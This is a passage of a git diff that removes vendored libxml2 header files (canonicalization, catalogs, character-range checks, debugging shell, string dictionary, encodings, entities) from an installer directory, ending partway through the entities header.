-XMLPUBFUN int XMLCALL - xmlC14NDocSave (xmlDocPtr doc, - xmlNodeSetPtr nodes, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - const char* filename, - int compression); - - -/** - * This is the core C14N function - */ -/** - * xmlC14NIsVisibleCallback: - * @user_data: user data - * @node: the curent node - * @parent: the parent node - * - * Signature for a C14N callback on visible nodes - * - * Returns 1 if the node should be included - */ -typedef int (*xmlC14NIsVisibleCallback) (void* user_data, - xmlNodePtr node, - xmlNodePtr parent); - -XMLPUBFUN int XMLCALL - xmlC14NExecute (xmlDocPtr doc, - xmlC14NIsVisibleCallback is_visible_callback, - void* user_data, - int mode, /* a xmlC14NMode */ - xmlChar **inclusive_ns_prefixes, - int with_comments, - xmlOutputBufferPtr buf); - -#ifdef __cplusplus -} -#endif /* __cplusplus */ - -#endif /* LIBXML_OUTPUT_ENABLED */ -#endif /* LIBXML_C14N_ENABLED */ -#endif /* __XML_C14N_H__ */ - diff --git a/installer/libxml2/include/libxml/catalog.h b/installer/libxml2/include/libxml/catalog.h deleted file mode 100644 index 5a13f51..0000000 --- a/installer/libxml2/include/libxml/catalog.h +++ /dev/null @@ -1,182 +0,0 @@ -/** - * Summary: interfaces to the Catalog handling system - * Description: the catalog module implements the support for - * XML Catalogs and SGML catalogs - * - * SGML Open Technical Resolution TR9401:1997. - * http://www.jclark.com/sp/catalog.htm - * - * XML Catalogs Working Draft 06 August 2001 - * http://www.oasis-open.org/committees/entity/spec-2001-08-06.html - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_CATALOG_H__ -#define __XML_CATALOG_H__ - -#include - -#include -#include -#include - -#ifdef LIBXML_CATALOG_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * XML_CATALOGS_NAMESPACE: - * - * The namespace for the XML Catalogs elements. - */ -#define XML_CATALOGS_NAMESPACE \ - (const xmlChar *) "urn:oasis:names:tc:entity:xmlns:xml:catalog" -/** - * XML_CATALOG_PI: - * - * The specific XML Catalog Processing Instuction name. - */ -#define XML_CATALOG_PI \ - (const xmlChar *) "oasis-xml-catalog" - -/* - * The API is voluntarily limited to general cataloging. - */ -typedef enum { - XML_CATA_PREFER_NONE = 0, - XML_CATA_PREFER_PUBLIC = 1, - XML_CATA_PREFER_SYSTEM -} xmlCatalogPrefer; - -typedef enum { - XML_CATA_ALLOW_NONE = 0, - XML_CATA_ALLOW_GLOBAL = 1, - XML_CATA_ALLOW_DOCUMENT = 2, - XML_CATA_ALLOW_ALL = 3 -} xmlCatalogAllow; - -typedef struct _xmlCatalog xmlCatalog; -typedef xmlCatalog *xmlCatalogPtr; - -/* - * Operations on a given catalog. - */ -XMLPUBFUN xmlCatalogPtr XMLCALL - xmlNewCatalog (int sgml); -XMLPUBFUN xmlCatalogPtr XMLCALL - xmlLoadACatalog (const char *filename); -XMLPUBFUN xmlCatalogPtr XMLCALL - xmlLoadSGMLSuperCatalog (const char *filename); -XMLPUBFUN int XMLCALL - xmlConvertSGMLCatalog (xmlCatalogPtr catal); -XMLPUBFUN int XMLCALL - xmlACatalogAdd (xmlCatalogPtr catal, - const xmlChar *type, - const xmlChar *orig, - const xmlChar *replace); -XMLPUBFUN int XMLCALL - xmlACatalogRemove (xmlCatalogPtr catal, - const xmlChar *value); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolve (xmlCatalogPtr catal, - const xmlChar *pubID, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolveSystem(xmlCatalogPtr catal, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolvePublic(xmlCatalogPtr catal, - const xmlChar *pubID); -XMLPUBFUN xmlChar * XMLCALL - xmlACatalogResolveURI (xmlCatalogPtr catal, - const xmlChar *URI); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlACatalogDump (xmlCatalogPtr catal, - FILE *out); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN void XMLCALL - xmlFreeCatalog (xmlCatalogPtr catal); -XMLPUBFUN int XMLCALL - xmlCatalogIsEmpty (xmlCatalogPtr catal); - -/* - * Global operations. - */ -XMLPUBFUN void XMLCALL - xmlInitializeCatalog (void); -XMLPUBFUN int XMLCALL - xmlLoadCatalog (const char *filename); -XMLPUBFUN void XMLCALL - xmlLoadCatalogs (const char *paths); -XMLPUBFUN void XMLCALL - xmlCatalogCleanup (void); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlCatalogDump (FILE *out); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolve (const xmlChar *pubID, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolveSystem (const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolvePublic (const xmlChar *pubID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogResolveURI (const xmlChar *URI); -XMLPUBFUN int XMLCALL - xmlCatalogAdd (const xmlChar *type, - const xmlChar *orig, - const xmlChar *replace); -XMLPUBFUN int XMLCALL - xmlCatalogRemove (const xmlChar *value); -XMLPUBFUN xmlDocPtr XMLCALL - xmlParseCatalogFile (const char *filename); -XMLPUBFUN int XMLCALL - xmlCatalogConvert (void); - -/* - * Strictly minimal interfaces for per-document catalogs used - * by the parser. - */ -XMLPUBFUN void XMLCALL - xmlCatalogFreeLocal (void *catalogs); -XMLPUBFUN void * XMLCALL - xmlCatalogAddLocal (void *catalogs, - const xmlChar *URL); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogLocalResolve (void *catalogs, - const xmlChar *pubID, - const xmlChar *sysID); -XMLPUBFUN xmlChar * XMLCALL - xmlCatalogLocalResolveURI(void *catalogs, - const xmlChar *URI); -/* - * Preference settings. - */ -XMLPUBFUN int XMLCALL - xmlCatalogSetDebug (int level); -XMLPUBFUN xmlCatalogPrefer XMLCALL - xmlCatalogSetDefaultPrefer(xmlCatalogPrefer prefer); -XMLPUBFUN void XMLCALL - xmlCatalogSetDefaults (xmlCatalogAllow allow); -XMLPUBFUN xmlCatalogAllow XMLCALL - xmlCatalogGetDefaults (void); - - -/* DEPRECATED interfaces */ -XMLPUBFUN const xmlChar * XMLCALL - xmlCatalogGetSystem (const xmlChar *sysID); -XMLPUBFUN const xmlChar * XMLCALL - xmlCatalogGetPublic (const xmlChar *pubID); - -#ifdef __cplusplus -} -#endif -#endif /* LIBXML_CATALOG_ENABLED */ -#endif /* __XML_CATALOG_H__ */ diff --git a/installer/libxml2/include/libxml/chvalid.h b/installer/libxml2/include/libxml/chvalid.h deleted file mode 100644 index fb43016..0000000 --- a/installer/libxml2/include/libxml/chvalid.h +++ /dev/null @@ -1,230 +0,0 @@ -/* - * Summary: Unicode character range checking - * Description: this module exports interfaces for the character - * range validation APIs - * - * This file is automatically generated from the cvs source - * definition files using the genChRanges.py Python script - * - * Generation date: Mon Mar 27 11:09:48 2006 - * Sources: chvalid.def - * Author: William Brack - */ - -#ifndef __XML_CHVALID_H__ -#define __XML_CHVALID_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Define our typedefs and structures - * - */ -typedef struct _xmlChSRange xmlChSRange; -typedef xmlChSRange *xmlChSRangePtr; -struct _xmlChSRange { - unsigned short low; - unsigned short high; -}; - -typedef struct _xmlChLRange xmlChLRange; -typedef xmlChLRange *xmlChLRangePtr; -struct _xmlChLRange { - unsigned int low; - unsigned int high; -}; - -typedef struct _xmlChRangeGroup xmlChRangeGroup; -typedef xmlChRangeGroup *xmlChRangeGroupPtr; -struct _xmlChRangeGroup { - int nbShortRange; - int nbLongRange; - const xmlChSRange *shortRange; /* points to an array of ranges */ - const xmlChLRange *longRange; -}; - -/** - * Range checking routine - */ -XMLPUBFUN int XMLCALL - xmlCharInRange(unsigned int val, const xmlChRangeGroup *group); - - -/** - * xmlIsBaseChar_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBaseChar_ch(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \ - ((0x61 <= (c)) && ((c) <= 0x7a)) || \ - ((0xc0 <= (c)) && ((c) <= 0xd6)) || \ - ((0xd8 <= (c)) && ((c) <= 0xf6)) || \ - (0xf8 <= (c))) - -/** - * xmlIsBaseCharQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBaseCharQ(c) (((c) < 0x100) ? \ - xmlIsBaseChar_ch((c)) : \ - xmlCharInRange((c), &xmlIsBaseCharGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsBaseCharGroup; - -/** - * xmlIsBlank_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBlank_ch(c) (((c) == 0x20) || \ - ((0x9 <= (c)) && ((c) <= 0xa)) || \ - ((c) == 0xd)) - -/** - * xmlIsBlankQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsBlankQ(c) (((c) < 0x100) ? \ - xmlIsBlank_ch((c)) : 0) - - -/** - * xmlIsChar_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsChar_ch(c) (((0x9 <= (c)) && ((c) <= 0xa)) || \ - ((c) == 0xd) || \ - (0x20 <= (c))) - -/** - * xmlIsCharQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsCharQ(c) (((c) < 0x100) ? \ - xmlIsChar_ch((c)) :\ - (((0x100 <= (c)) && ((c) <= 0xd7ff)) || \ - ((0xe000 <= (c)) && ((c) <= 0xfffd)) || \ - ((0x10000 <= (c)) && ((c) <= 0x10ffff)))) - -XMLPUBVAR const xmlChRangeGroup xmlIsCharGroup; - -/** - * xmlIsCombiningQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsCombiningQ(c) (((c) < 0x100) ? \ - 0 : \ - xmlCharInRange((c), &xmlIsCombiningGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsCombiningGroup; - -/** - * xmlIsDigit_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsDigit_ch(c) (((0x30 <= (c)) && ((c) <= 0x39))) - -/** - * xmlIsDigitQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsDigitQ(c) (((c) < 0x100) ? \ - xmlIsDigit_ch((c)) : \ - xmlCharInRange((c), &xmlIsDigitGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsDigitGroup; - -/** - * xmlIsExtender_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsExtender_ch(c) (((c) == 0xb7)) - -/** - * xmlIsExtenderQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsExtenderQ(c) (((c) < 0x100) ? \ - xmlIsExtender_ch((c)) : \ - xmlCharInRange((c), &xmlIsExtenderGroup)) - -XMLPUBVAR const xmlChRangeGroup xmlIsExtenderGroup; - -/** - * xmlIsIdeographicQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsIdeographicQ(c) (((c) < 0x100) ? \ - 0 :\ - (((0x4e00 <= (c)) && ((c) <= 0x9fa5)) || \ - ((c) == 0x3007) || \ - ((0x3021 <= (c)) && ((c) <= 0x3029)))) - -XMLPUBVAR const xmlChRangeGroup xmlIsIdeographicGroup; -XMLPUBVAR const unsigned char xmlIsPubidChar_tab[256]; - -/** - * xmlIsPubidChar_ch: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsPubidChar_ch(c) (xmlIsPubidChar_tab[(c)]) - -/** - * xmlIsPubidCharQ: - * @c: char to validate - * - * Automatically generated by genChRanges.py - */ -#define xmlIsPubidCharQ(c) (((c) < 0x100) ? \ - xmlIsPubidChar_ch((c)) : 0) - -XMLPUBFUN int XMLCALL - xmlIsBaseChar(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsBlank(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsChar(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsCombining(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsDigit(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsExtender(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsIdeographic(unsigned int ch); -XMLPUBFUN int XMLCALL - xmlIsPubidChar(unsigned int ch); - -#ifdef __cplusplus -} -#endif -#endif /* __XML_CHVALID_H__ */ diff --git a/installer/libxml2/include/libxml/debugXML.h b/installer/libxml2/include/libxml/debugXML.h deleted file mode 100644 index 5b3be13..0000000 --- a/installer/libxml2/include/libxml/debugXML.h +++ /dev/null @@ -1,217 +0,0 @@ -/* - * Summary: Tree debugging APIs - * Description: Interfaces to a set of routines used for debugging the tree - * produced by the XML parser. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __DEBUG_XML__ -#define __DEBUG_XML__ -#include -#include -#include - -#ifdef LIBXML_DEBUG_ENABLED - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The standard Dump routines. - */ -XMLPUBFUN void XMLCALL - xmlDebugDumpString (FILE *output, - const xmlChar *str); -XMLPUBFUN void XMLCALL - xmlDebugDumpAttr (FILE *output, - xmlAttrPtr attr, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpAttrList (FILE *output, - xmlAttrPtr attr, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpOneNode (FILE *output, - xmlNodePtr node, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpNode (FILE *output, - xmlNodePtr node, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpNodeList (FILE *output, - xmlNodePtr node, - int depth); -XMLPUBFUN void XMLCALL - xmlDebugDumpDocumentHead(FILE *output, - xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlDebugDumpDocument (FILE *output, - xmlDocPtr doc); -XMLPUBFUN void XMLCALL - xmlDebugDumpDTD (FILE *output, - xmlDtdPtr dtd); -XMLPUBFUN void XMLCALL - xmlDebugDumpEntities (FILE *output, - xmlDocPtr doc); - -/**************************************************************** - * * - * Checking routines * - * * - ****************************************************************/ - -XMLPUBFUN int XMLCALL - xmlDebugCheckDocument (FILE * output, - xmlDocPtr doc); - -/**************************************************************** - * * - * XML shell helpers * - * * - ****************************************************************/ - -XMLPUBFUN void XMLCALL - xmlLsOneNode (FILE *output, xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlLsCountNode (xmlNodePtr node); - -XMLPUBFUN const char * XMLCALL - xmlBoolToText (int boolval); - -/**************************************************************** - * * - * The XML shell related structures and functions * - * * - ****************************************************************/ - -#ifdef LIBXML_XPATH_ENABLED -/** - * xmlShellReadlineFunc: - * @prompt: a string prompt - * - * This is a generic signature for the XML shell input function. - * - * Returns a string which will be freed by the Shell. - */ -typedef char * (* xmlShellReadlineFunc)(char *prompt); - -/** - * xmlShellCtxt: - * - * A debugging shell context. - * TODO: add the defined function tables. - */ -typedef struct _xmlShellCtxt xmlShellCtxt; -typedef xmlShellCtxt *xmlShellCtxtPtr; -struct _xmlShellCtxt { - char *filename; - xmlDocPtr doc; - xmlNodePtr node; - xmlXPathContextPtr pctxt; - int loaded; - FILE *output; - xmlShellReadlineFunc input; -}; - -/** - * xmlShellCmd: - * @ctxt: a shell context - * @arg: a string argument - * @node: a first node - * @node2: a second node - * - * This is a generic signature for the XML shell functions. - * - * Returns an int, negative returns indicating errors. - */ -typedef int (* xmlShellCmd) (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); - -XMLPUBFUN void XMLCALL - xmlShellPrintXPathError (int errorType, - const char *arg); -XMLPUBFUN void XMLCALL - xmlShellPrintXPathResult(xmlXPathObjectPtr list); -XMLPUBFUN int XMLCALL - xmlShellList (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellBase (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellDir (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellLoad (xmlShellCtxtPtr ctxt, - char *filename, - xmlNodePtr node, - xmlNodePtr node2); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN void XMLCALL - xmlShellPrintNode (xmlNodePtr node); -XMLPUBFUN int XMLCALL - xmlShellCat (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellWrite (xmlShellCtxtPtr ctxt, - char *filename, - xmlNodePtr node, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellSave (xmlShellCtxtPtr ctxt, - char *filename, - xmlNodePtr node, - xmlNodePtr node2); -#endif /* LIBXML_OUTPUT_ENABLED */ -#ifdef LIBXML_VALID_ENABLED -XMLPUBFUN int XMLCALL - xmlShellValidate (xmlShellCtxtPtr ctxt, - char *dtd, - xmlNodePtr node, - xmlNodePtr node2); -#endif /* LIBXML_VALID_ENABLED */ -XMLPUBFUN int XMLCALL - xmlShellDu (xmlShellCtxtPtr ctxt, - char *arg, - xmlNodePtr tree, - xmlNodePtr node2); -XMLPUBFUN int XMLCALL - xmlShellPwd (xmlShellCtxtPtr ctxt, - char *buffer, - xmlNodePtr node, - xmlNodePtr node2); - -/* - * The Shell interface. - */ -XMLPUBFUN void XMLCALL - xmlShell (xmlDocPtr doc, - char *filename, - xmlShellReadlineFunc input, - FILE *output); - -#endif /* LIBXML_XPATH_ENABLED */ - -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_DEBUG_ENABLED */ -#endif /* __DEBUG_XML__ */ diff --git a/installer/libxml2/include/libxml/dict.h b/installer/libxml2/include/libxml/dict.h deleted file mode 100644 index b83db59..0000000 --- a/installer/libxml2/include/libxml/dict.h +++ /dev/null @@ -1,86 +0,0 @@ -/* - * Summary: string dictionary - * Description: dictionary of reusable strings, just used to avoid allocation - * and freeing operations. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_DICT_H__ -#define __XML_DICT_H__ - -#ifdef __cplusplus -#define __XML_EXTERNC extern "C" -#else -#define __XML_EXTERNC -#endif - -/* - * The dictionary. - */ -__XML_EXTERNC typedef struct _xmlDict xmlDict; -__XML_EXTERNC typedef xmlDict *xmlDictPtr; - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Initializer - */ -XMLPUBFUN int XMLCALL xmlInitializeDict(void); - -/* - * Constructor and destructor. - */ -XMLPUBFUN xmlDictPtr XMLCALL - xmlDictCreate (void); -XMLPUBFUN size_t XMLCALL - xmlDictSetLimit (xmlDictPtr dict, - size_t limit); -XMLPUBFUN size_t XMLCALL - xmlDictGetUsage (xmlDictPtr dict); -XMLPUBFUN xmlDictPtr XMLCALL - xmlDictCreateSub(xmlDictPtr sub); -XMLPUBFUN int XMLCALL - xmlDictReference(xmlDictPtr dict); -XMLPUBFUN void XMLCALL - xmlDictFree (xmlDictPtr dict); - -/* - * Lookup of entry in the dictionary. - */ -XMLPUBFUN const xmlChar * XMLCALL - xmlDictLookup (xmlDictPtr dict, - const xmlChar *name, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlDictExists (xmlDictPtr dict, - const xmlChar *name, - int len); -XMLPUBFUN const xmlChar * XMLCALL - xmlDictQLookup (xmlDictPtr dict, - const xmlChar *prefix, - const xmlChar *name); -XMLPUBFUN int XMLCALL - xmlDictOwns (xmlDictPtr dict, - const xmlChar *str); -XMLPUBFUN int XMLCALL - xmlDictSize (xmlDictPtr dict); - -/* - * Cleanup function - */ -XMLPUBFUN void XMLCALL - xmlDictCleanup (void); - -#ifdef __cplusplus -} -#endif -#endif /* ! __XML_DICT_H__ */ diff --git a/installer/libxml2/include/libxml/encoding.h b/installer/libxml2/include/libxml/encoding.h deleted file mode 100644 index 7967cc6..0000000 --- a/installer/libxml2/include/libxml/encoding.h +++ /dev/null @@ -1,240 +0,0 @@ -/* - * Summary: interface for the encoding conversion functions - * Description: interface for the encoding conversion functions needed for - * XML basic encoding and iconv() support. - * - * Related specs are - * rfc2044 (UTF-8 and UTF-16) F. Yergeau Alis Technologies - * [ISO-10646] UTF-8 and UTF-16 in Annexes - * [ISO-8859-1] ISO Latin-1 characters codes. - * [UNICODE] The Unicode Consortium, "The Unicode Standard -- - * Worldwide Character Encoding -- Version 1.0", Addison- - * Wesley, Volume 1, 1991, Volume 2, 1992. UTF-8 is - * described in Unicode Technical Report #4. - * [US-ASCII] Coded Character Set--7-bit American Standard Code for - * Information Interchange, ANSI X3.4-1986. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_CHAR_ENCODING_H__ -#define __XML_CHAR_ENCODING_H__ - -#include - -#ifdef LIBXML_ICONV_ENABLED -#include -#endif -#ifdef LIBXML_ICU_ENABLED -#include -#endif -#ifdef __cplusplus -extern "C" { -#endif - -/* - * xmlCharEncoding: - * - * Predefined values for some standard encodings. - * Libxml does not do beforehand translation on UTF8 and ISOLatinX. - * It also supports ASCII, ISO-8859-1, and UTF16 (LE and BE) by default. - * - * Anything else would have to be translated to UTF8 before being - * given to the parser itself. The BOM for UTF16 and the encoding - * declaration are looked at and a converter is looked for at that - * point. If not found the parser stops here as asked by the XML REC. A - * converter can be registered by the user using xmlRegisterCharEncodingHandler - * but the current form doesn't allow stateful transcoding (a serious - * problem agreed !). If iconv has been found it will be used - * automatically and allow stateful transcoding, the simplest is then - * to be sure to enable iconv and to provide iconv libs for the encoding - * support needed. - * - * Note that the generic "UTF-16" is not a predefined value. Instead, only - * the specific UTF-16LE and UTF-16BE are present. - */ -typedef enum { - XML_CHAR_ENCODING_ERROR= -1, /* No char encoding detected */ - XML_CHAR_ENCODING_NONE= 0, /* No char encoding detected */ - XML_CHAR_ENCODING_UTF8= 1, /* UTF-8 */ - XML_CHAR_ENCODING_UTF16LE= 2, /* UTF-16 little endian */ - XML_CHAR_ENCODING_UTF16BE= 3, /* UTF-16 big endian */ - XML_CHAR_ENCODING_UCS4LE= 4, /* UCS-4 little endian */ - XML_CHAR_ENCODING_UCS4BE= 5, /* UCS-4 big endian */ - XML_CHAR_ENCODING_EBCDIC= 6, /* EBCDIC uh! */ - XML_CHAR_ENCODING_UCS4_2143=7, /* UCS-4 unusual ordering */ - XML_CHAR_ENCODING_UCS4_3412=8, /* UCS-4 unusual ordering */ - XML_CHAR_ENCODING_UCS2= 9, /* UCS-2 */ - XML_CHAR_ENCODING_8859_1= 10,/* ISO-8859-1 ISO Latin 1 */ - XML_CHAR_ENCODING_8859_2= 11,/* ISO-8859-2 ISO Latin 2 */ - XML_CHAR_ENCODING_8859_3= 12,/* ISO-8859-3 */ - XML_CHAR_ENCODING_8859_4= 13,/* ISO-8859-4 */ - XML_CHAR_ENCODING_8859_5= 14,/* ISO-8859-5 */ - XML_CHAR_ENCODING_8859_6= 15,/* ISO-8859-6 */ - XML_CHAR_ENCODING_8859_7= 16,/* ISO-8859-7 */ - XML_CHAR_ENCODING_8859_8= 17,/* ISO-8859-8 */ - XML_CHAR_ENCODING_8859_9= 18,/* ISO-8859-9 */ - XML_CHAR_ENCODING_2022_JP= 19,/* ISO-2022-JP */ - XML_CHAR_ENCODING_SHIFT_JIS=20,/* Shift_JIS */ - XML_CHAR_ENCODING_EUC_JP= 21,/* EUC-JP */ - XML_CHAR_ENCODING_ASCII= 22 /* pure ASCII */ -} xmlCharEncoding; - -/** - * xmlCharEncodingInputFunc: - * @out: a pointer to an array of bytes to store the UTF-8 result - * @outlen: the length of @out - * @in: a pointer to an array of chars in the original encoding - * @inlen: the length of @in - * - * Take a block of chars in the original encoding and try to convert - * it to an UTF-8 block of chars out. - * - * Returns the number of bytes written, -1 if lack of space, or -2 - * if the transcoding failed. - * The value of @inlen after return is the number of octets consumed - * if the return value is positive, else unpredictiable. - * The value of @outlen after return is the number of octets consumed. - */ -typedef int (* xmlCharEncodingInputFunc)(unsigned char *out, int *outlen, - const unsigned char *in, int *inlen); - - -/** - * xmlCharEncodingOutputFunc: - * @out: a pointer to an array of bytes to store the result - * @outlen: the length of @out - * @in: a pointer to an array of UTF-8 chars - * @inlen: the length of @in - * - * Take a block of UTF-8 chars in and try to convert it to another - * encoding. - * Note: a first call designed to produce heading info is called with - * in = NULL. If stateful this should also initialize the encoder state. - * - * Returns the number of bytes written, -1 if lack of space, or -2 - * if the transcoding failed. - * The value of @inlen after return is the number of octets consumed - * if the return value is positive, else unpredictiable. - * The value of @outlen after return is the number of octets produced. - */ -typedef int (* xmlCharEncodingOutputFunc)(unsigned char *out, int *outlen, - const unsigned char *in, int *inlen); - - -/* - * Block defining the handlers for non UTF-8 encodings. - * If iconv is supported, there are two extra fields. - */ -#ifdef LIBXML_ICU_ENABLED -struct _uconv_t { - UConverter *uconv; /* for conversion between an encoding and UTF-16 */ - UConverter *utf8; /* for conversion between UTF-8 and UTF-16 */ -}; -typedef struct _uconv_t uconv_t; -#endif - -typedef struct _xmlCharEncodingHandler xmlCharEncodingHandler; -typedef xmlCharEncodingHandler *xmlCharEncodingHandlerPtr; -struct _xmlCharEncodingHandler { - char *name; - xmlCharEncodingInputFunc input; - xmlCharEncodingOutputFunc output; -#ifdef LIBXML_ICONV_ENABLED - iconv_t iconv_in; - iconv_t iconv_out; -#endif /* LIBXML_ICONV_ENABLED */ -#ifdef LIBXML_ICU_ENABLED - uconv_t *uconv_in; - uconv_t *uconv_out; -#endif /* LIBXML_ICU_ENABLED */ -}; - -#ifdef __cplusplus -} -#endif -#include -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Interfaces for encoding handlers. - */ -XMLPUBFUN void XMLCALL - xmlInitCharEncodingHandlers (void); -XMLPUBFUN void XMLCALL - xmlCleanupCharEncodingHandlers (void); -XMLPUBFUN void XMLCALL - xmlRegisterCharEncodingHandler (xmlCharEncodingHandlerPtr handler); -XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL - xmlGetCharEncodingHandler (xmlCharEncoding enc); -XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL - xmlFindCharEncodingHandler (const char *name); -XMLPUBFUN xmlCharEncodingHandlerPtr XMLCALL - xmlNewCharEncodingHandler (const char *name, - xmlCharEncodingInputFunc input, - xmlCharEncodingOutputFunc output); - -/* - * Interfaces for encoding names and aliases. - */ -XMLPUBFUN int XMLCALL - xmlAddEncodingAlias (const char *name, - const char *alias); -XMLPUBFUN int XMLCALL - xmlDelEncodingAlias (const char *alias); -XMLPUBFUN const char * XMLCALL - xmlGetEncodingAlias (const char *alias); -XMLPUBFUN void XMLCALL - xmlCleanupEncodingAliases (void); -XMLPUBFUN xmlCharEncoding XMLCALL - xmlParseCharEncoding (const char *name); -XMLPUBFUN const char * XMLCALL - xmlGetCharEncodingName (xmlCharEncoding enc); - -/* - * Interfaces directly used by the parsers. - */ -XMLPUBFUN xmlCharEncoding XMLCALL - xmlDetectCharEncoding (const unsigned char *in, - int len); - -XMLPUBFUN int XMLCALL - xmlCharEncOutFunc (xmlCharEncodingHandler *handler, - xmlBufferPtr out, - xmlBufferPtr in); - -XMLPUBFUN int XMLCALL - xmlCharEncInFunc (xmlCharEncodingHandler *handler, - xmlBufferPtr out, - xmlBufferPtr in); -XMLPUBFUN int XMLCALL - xmlCharEncFirstLine (xmlCharEncodingHandler *handler, - xmlBufferPtr out, - xmlBufferPtr in); -XMLPUBFUN int XMLCALL - xmlCharEncCloseFunc (xmlCharEncodingHandler *handler); - -/* - * Export a few useful functions - */ -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN int XMLCALL - UTF8Toisolat1 (unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN int XMLCALL - isolat1ToUTF8 (unsigned char *out, - int *outlen, - const unsigned char *in, - int *inlen); -#ifdef __cplusplus -} -#endif - -#endif /* __XML_CHAR_ENCODING_H__ */ diff --git a/installer/libxml2/include/libxml/entities.h b/installer/libxml2/include/libxml/entities.h deleted file mode 100644 index 47b4573..0000000 --- a/installer/libxml2/include/libxml/entities.h +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Summary: interface for the XML entities handling - * Description: this module provides some of the entity API needed - * for the parser and applications. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_ENTITIES_H__ -#define __XML_ENTITIES_H__ - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The different valid entity types. - */ -typedef enum { - XML_INTERNAL_GENERAL_ENTITY = 1, - XML_EXTERNAL_GENERAL_PARSED_ENTITY = 2, - XML_EXTERNAL_GENERAL_UNPARSED_ENTITY = 3, - XML_INTERNAL_PARAMETER_ENTITY = 4, - XML_EXTERNAL_PARAMETER_ENTITY = 5, - XML_INTERNAL_PREDEFINED_ENTITY = 6 -} xmlEntityType; - -/* - * An unit of storage for an entity, contains the string, the value - * and the linkind data needed for the linking in the hash table. - */ - -struct _xmlEntity { - void *_private; /* application data */ - xmlElementType type; /* XML_ENTITY_DECL, must be second ! */ - const xmlChar *name; /* Entity name */ - struct _xmlNode *children; /* First child link */ - struct _xmlNode *last; /* Last child link */ - struct _xmlDtd *parent; /* -> DTD */ - struct _xmlNode *next; /* next sibling link */ - struct _xmlNode *prev; /* previous sibling link */ - struct _xmlDoc *doc; /* the containing document */ - - xmlChar 